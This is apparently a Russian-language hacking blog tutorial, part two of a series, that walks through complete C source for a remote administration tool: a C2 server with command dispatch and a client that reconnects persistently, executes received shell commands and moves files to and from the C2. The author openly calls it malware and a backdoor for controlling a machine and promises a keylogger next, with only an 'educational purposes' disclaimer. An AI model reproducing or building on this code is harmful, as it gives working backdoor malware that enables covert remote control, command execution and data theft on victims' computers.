Пишем RAT (remote administration tool) на C. Часть 2

Пишем RAT (remote administration tool) на C. Часть 2

Life-Hack [Жизнь-Взлом]/Хакинг

#Обучение

Завершение работы RAT-a:

    // Функция закрытия соединения с клиентом
    int terminate_client(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
          // ‘2’ код команды для удаления/завершения процесса RAT-a
          send(client_socket, “2”, cmd_len, 0);
          return 0;
    }

Смена директории:

    // Функция смены директории.
    int client_cd(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
          // ‘1’ – код команды для смены директории
          buf[3] = ‘1’;
          // Отправка кода команды и названия директории
          if (send(client_socket, &buf[3], cmd_len, 0) < 1)
                return SOCKET_ERROR;
          return 1;
    }

Функция отправки команд клиенту: 

    // Функция отправки команд клиенту
    int send_cmd(char* const buf, const size_t cmd_len, const SOCKET client_socket) {
          // Отправляем команду.
          if (send(client_socket, buf, cmd_len, 0) < 1)
                return SOCKET_ERROR;
          // Получаем размер выходного потока сериализованных байтов
          if (recv(client_socket, buf, sizeof(uint32_t), 0) < 1)
                return SOCKET_ERROR;
          // Десериализация размера потока
          uint32_t s_size = ntohl_conv(&*(buf));
          // Меняем i_result на true
          int i_result = 1;
          // Получаем ответ команды и записываем его в stdout
          do {
                if ((i_result = recv(client_socket, buf, BUFLEN, 0)) < 1)
                      return i_result;
                fwrite(buf, 1, i_result, stdout);
          } while ((s_size -= i_result) > 0);
          // Символ \n нужен для выравнивания командной строки
          fputc(‘\n’, stdout);
          return i_result;
    }

Функция парсинга команд:

    // Функция парсинга команд
    const func parse_cmd(char* const buf) {
          // Массив команд.
          const char commands[4][10] = { “cd “, “exit”, “upload “, “download ” };
          // Массив указателей функций каждой команды
          const func func_array[4] = { &client_cd, &terminate_client, &send_file, &recv_file };
          for (int i = 0; i < 4; i++) {
                if (compare(buf, commands[i]))
                      return func_array[i];
          }
          // Если команда не обнаружилась в commands – отправляем/выполняем ее на клиенте через _popen()
          return &send_cmd;
    } 

Закрытие соединений:

    // Функция для изменения размера массива conns/удаления и закрытия соединений.
    void delete_conn(Conn_map* conns, const int client_id) {
          // Если accept_conns() выполняется – ждём, пока завершится conns->clients.
          WaitForSingleObject(conns->ghMutex, INFINITE);
          if (conns->clients[client_id].sock)
                closesocket(conns->clients[client_id].sock);
          // Если есть более одного подключения:
          if (conns->size > 1) {
                int max_index = conns->size-1;
                for (size_t i = client_id; i < max_index; i++) {
                      conns->clients[i].sock = conns->clients[i + 1].sock;
                      conns->clients[i].host = conns->clients[i + 1].host;
                }
                conns->clients[max_index].sock = 0;
                conns->clients[max_index].host = NULL;
          }
          conns->size–;
          // ReleaseMutex нужен, чтобы accept_conns() мог продолжать выполняться.
          ReleaseMutex(conns->ghMutex);
    }

Взаимодействие с соединениями:

    // Функция для “сворачивания” соединения и вызова команд.
    void interact(Conn_map* conns, char* const buf, const int client_id) {
          const SOCKET client_socket = conns->clients[client_id].sock;
          char* client_host = conns->clients[client_id].host;
          // Меняем i_result на true.
          int i_result = 1;
          // Получаем и парсим команды /отправляем их клиенту.
          while (i_result > 0) {
                printf(“%s // “, client_host);
                // Обнуляем все байты в буфере.
                memset(buf, ‘\0’, BUFLEN);
                size_t cmd_len = get_line(buf);
                char* cmd = &buf[1];
                if (cmd_len > 1) {
                      if (compare(cmd, “background”)) {
                            return;
                      }
                      else {
                            // Если команда спарсилась успешно вызываем её функцию или отправляем её клиенту.
                            const func target_func = parse_cmd(cmd);
                            i_result = target_func(buf, cmd_len, client_socket);
                      }
                }
          }
          // Если клиент отключился/вышел – удаляем соединение.
          delete_conn(conns, client_id);
          printf(“Client: \”%s\” is no longer connected.\n\n”, client_host);
    }

Выполнение команд через Popen:

    // Функция выполнения команд.
    void exec_cmd(char* const buf) {
          // Вызываем Popen чтобы выполнить команду и читаем её ответ.
          FILE* fpipe = _popen(buf, “r”);
          fseek(fpipe, 0, SEEK_END);
          size_t cmd_len = ftell(fpipe);
          fseek(fpipe, 0, SEEK_SET);
          // Пишем ответ команды в stdout.
          int rb = 0;
          do {
                rb = fread(buf, 1, BUFLEN, fpipe);
                fwrite(buf, 1, rb, stdout);
          } while (rb == BUFLEN);
          // Символ \n нужен для выравнивания командной строки.
          fputc(‘\n’, stdout);
          // Закрываем пайп.
          _pclose(fpipe);
    }

Функция Main, в которой мы запускаем C2 сервер и ждем подключений:

    // Основная функция для парсинга команд и вызова остальных функций.
    int main(void) {
          Conn_map conns;
          conns.ghMutex = CreateMutex(NULL, FALSE, NULL);
          HANDLE acp_thread = CreateThread(0, 0, accept_conns, &conns, 0, 0);
          HANDLE  hColor;
          hColor = GetStdHandle(STD_OUTPUT_HANDLE);
          SetConsoleTextAttribute(hColor, 9);
          while (1) {
                printf(“CyberSec RAT\n[]==> “);
                // BUFLEN + 1, чтобы строка всегда оканчивалась нулем
                char buf[BUFLEN + 1] = { 0 };
                size_t cmd_len = get_line(buf);
                char* cmd = &buf[1];
                if (cmd_len > 1) {
                      if (compare(cmd, “exit”)) {
                            // Выйти из приема подключений
                            TerminateThread(acp_thread, 0);
                            // Если есть какие-либо коннекты, закрываем их перед выходом
                            if (conns.size) {
                                  for (size_t i = 0; i < conns.size; i++) {
                                        closesocket(conns.clients[i].sock);
                                  }
                                  // Освобождаем выделенную память
                                  free(conns.clients);
                            }
                            terminate_server(conns.listen_socket, NULL);
                      }
                      else if (compare(cmd, “cd “)) {
                            // Изменение текущей директории
                            _chdir(&cmd[3]);
                      }
                      else if (compare(cmd, “list”)) {
                            // Список всех подключений
                            list_connections(&conns);
                      }
                      else if (compare(cmd, “interact “)) {
                            // Взаимодействие с клиентом
                            int client_id;
                            client_id = atoi(&cmd[9]);
                            if (!conns.size || client_id < 0 || client_id > conns.size – 1) {
                                  printf(“Invalid client identifier.\n”);
                            }
                            else {
                                  interact(&conns, buf, client_id);
                            }
                      }
                      else {
                            // Выполняем команду
                            exec_cmd(cmd);
                      }
                }
          }
          return -1;
    }

На этом код сервера можно считать полностью готовым. Я использую IDE CodeBlocks, поэтому в настройках компиляции нужно указать библиотеку lws2_32, без нее IDE будет выдавать ошибки (для клиента нужно будет сделать этот шаг снова).

После успешной компиляции можно проверить работоспособность сервера используя NetCat:

Конекты приходят и с ними можно взаимодействовать, а это значит, что сервер работает. 

Клиент 

В коде клиента мы будем использовать заголовочный файл tools.h, который создали в начале статьи. Через #include добавляем нужные библиотеки и создаем функцию create_socket:

    #include <ws2tcpip.h>
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include “tools.h”
    #pragma comment(lib, “Ws2_32.lib”)
    // Функция создания сокета
    const SOCKET create_socket() {
          // Инициализируем winsock
          WSADATA wsData;
          WORD ver = MAKEWORD(2, 2);
          if (WSAStartup(ver, &wsData) != 0)
                return INVALID_SOCKET;
          // Создаем сокет
          const SOCKET connect_socket = socket(AF_INET, SOCK_STREAM, 0);
          if (connect_socket == INVALID_SOCKET) {
                WSACleanup();
                return connect_socket;
          }
          return connect_socket;
    }

Функция подключения к C2, которая будет принимать переменные host и port:

    // Функция подключения сокета к c2 серверу.
    int c2_connect(const SOCKET connect_socket, const char* host, const int port) {
          struct sockaddr_in hint;
          hint.sin_family = AF_INET;
          hint.sin_port = htons(port);
          inet_pton(AF_INET, host, &hint.sin_addr);
          // Подключение к серверу, на котором запущен c2
          if (connect(connect_socket, (struct sockaddr*)&hint, sizeof(hint)) == SOCKET_ERROR) {
                closesocket(connect_socket);
                return SOCKET_ERROR;
          }
          return 1;
    }

Функция получения файла с C2:

    // Функция получения файла с C2
    int recv_file(char* const buf, const char* filename, const SOCKET connect_socket) {
          FILE* fd = fopen(filename, “wb”);
          // Получаем размер файла
          if (recv(connect_socket, buf, sizeof(uint32_t), 0) < 1)
                return SOCKET_ERROR;
          // Сериализуем f_size.
          uint32_t f_size = ntohl_conv(&*(buf));
          // Получаем байты и записываем их в файл.
          int i_result = 1;
          long int total = 0;
          while (total != f_size && i_result > 0) {
                i_result = recv(connect_socket, buf, BUFLEN, 0);
                fwrite(buf, 1, i_result, fd);
                total += i_result;
          }
          fclose(fd);
          return i_result;
    }

Отправка файла на C2:

    // Функция отправки файла на c2
    int send_file(const char* filename, const SOCKET connect_socket, char* const buf) {
          // Открываем файл
          FILE* fd = fopen(filename, “rb”);
          uint32_t bytes = 0, f_size = 0;
          if (fd) {
                // Считаем размер файла
                fseek(fd, 0L, SEEK_END);
                f_size = ftell(fd);
                // Сериализуем f_size.
                bytes = htonl(f_size);
                fseek(fd, 0L, SEEK_SET);
          }
          if (send(connect_socket, (char*)&bytes, sizeof(bytes), 0) < 1)
                return SOCKET_ERROR;
          int i_result = 1;
          // Рекурсивно читаем и отправляем байты файла на c2 сервер.
          if (f_size) {
                int bytes_read;
                while (!feof(fd) && i_result > 0) {
                      // Читаем файл, пока не дойдем до конца
                      if (bytes_read = fread(buf, 1, BUFLEN, fd)) {
                            // Отправляем байты
                            i_result = send(connect_socket, buf, bytes_read, 0);
                      }
                      else {
                            break;
                      }
                }
                // Закрываем файл
                fclose(fd);
          }
          return i_result;
    }

Выполнение команд через Popen:

    // Функция выполнения команд
    int exec_cmd(const SOCKET connect_socket, char* const buf) {
          // Вызываем Popen для выполнения команд и читаем результат.
          strcat(buf, ” 2>&1″);
          FILE* fpipe = _popen(buf, “r”);
          int bytes_read;
          if ((bytes_read = fread(buf, 1, BUFLEN, fpipe)) == 0) {
                bytes_read = 1;
                buf[0] = ‘\0’;
          }
          uint32_t s_size = bytes_read;
          const int chunk = 24576;
          int capacity = chunk;
          char* output = malloc(capacity);
          strcpy(output, buf);
          // Читаем и сохраняем stdout в output.
          while (1) {
                if ((bytes_read = fread(buf, 1, BUFLEN, fpipe)) == 0)
                      break;
                // Если output достигнет максимального объема в памяти.
                if ((s_size += bytes_read) == capacity)
                      output = realloc(output, (capacity += chunk));
                strcat(output, buf);
          }
          // Сериализация s_size.
          uint32_t bytes = htonl(s_size);
          // Отправляем байты
          if (send(connect_socket, (char*)&bytes, sizeof(uint32_t), 0) < 1)
                return SOCKET_ERROR;
          int i_result = send(connect_socket, output, s_size, 0);
          free(output);
          // Закрываем пайп.
          _pclose(fpipe);
          return i_result;
    }

Функция Main, в ней мы будем использовать кейсы для каждой команды, а если подключится к серверу не получиться – ждем 8 секунд и пробуем еще раз:

    // Основная функция для подключения к серверу c2 и парсинга команд
    int main(void) {
          // Порт и айпи c2 сервера.
          const char host[] = “127.0.0.1”;
          const int port = 4443;
          while (1) {
                // Создаем сокет.
                const SOCKET connect_socket = create_socket();
            /*
            При подключении к c2 запускаем цикл для приема/парсинга команд.
            В случае возникновения ошибки (потеря соединения и т.д.) – прерываем цикл и повторно его перезапускаем.
            Оператор switch будет анализировать и выполнять функции в соответствии с полученным кодом.
            */
                if (connect_socket != INVALID_SOCKET) {
                      int i_result = c2_connect(connect_socket, host, port);
                      while (i_result > 0) {
                            // BUFLEN + 1 + 4, для null байта и конкатенации “2>&1”
                            char buf[BUFLEN + 5] = { 0 };
                            if (recv(connect_socket, buf, BUFLEN, 0) < 1)
                                  break;
                            // buf[0] – код команды, а &buf[1] ее аргумент
                            switch (buf[0]) {
                                  case ‘0’:
                                       i_result = exec_cmd(connect_socket, &buf[1]);
                                       break;
                                  case ‘1’:
                                       // Вызываем функцию смены директории
                                       _chdir(&buf[1]);
                                       break;
                                  case ‘2’:
                                        // Выход
                                       return 0;
                                  case ‘3’:
                                       // Получаем файл с c2 сервера
                                       i_result = recv_file(buf, &buf[1], connect_socket);
                                       break;
                                  case ‘4’:
                                       // Отправляем файл на c2 сервер
                                       i_result = send_file(&buf[1], connect_socket, buf);
                                       break;
                            }
                      }
                }
                // Если подключится не удалось ждем 8 секунд и пробуем еще раз
                Sleep(8000);
          }
          return -1;
    }

Скриншоты работы:

Вес сервера 96 килобайт, а вес клиента 86 килобайт:

Еще один RAT, который использует Telegram как управляющий сервер:

Заключение 

Эта статья является первой частью и наглядным примером, почему стоит делать выбор в пользу С при кодинге малвари (в целях самообучения конечно же). Теперь вы имеете представление о том, как создается полноценный бэкдор на С, который предоставляет управление машиной, надеемся, что вы уже ощущаете невероятную мощь этого языка и готовы к экспериментам, ведь в следующей части мы рассмотрим создание кейлоггера и сравним его с аналогами на Python. 

Данная статья написана только в образовательных целях, автор не несёт ответственности за ваши действия. Ни в коем случае не призываем читателей на совершение противозаконных действий.

Источник


Report Page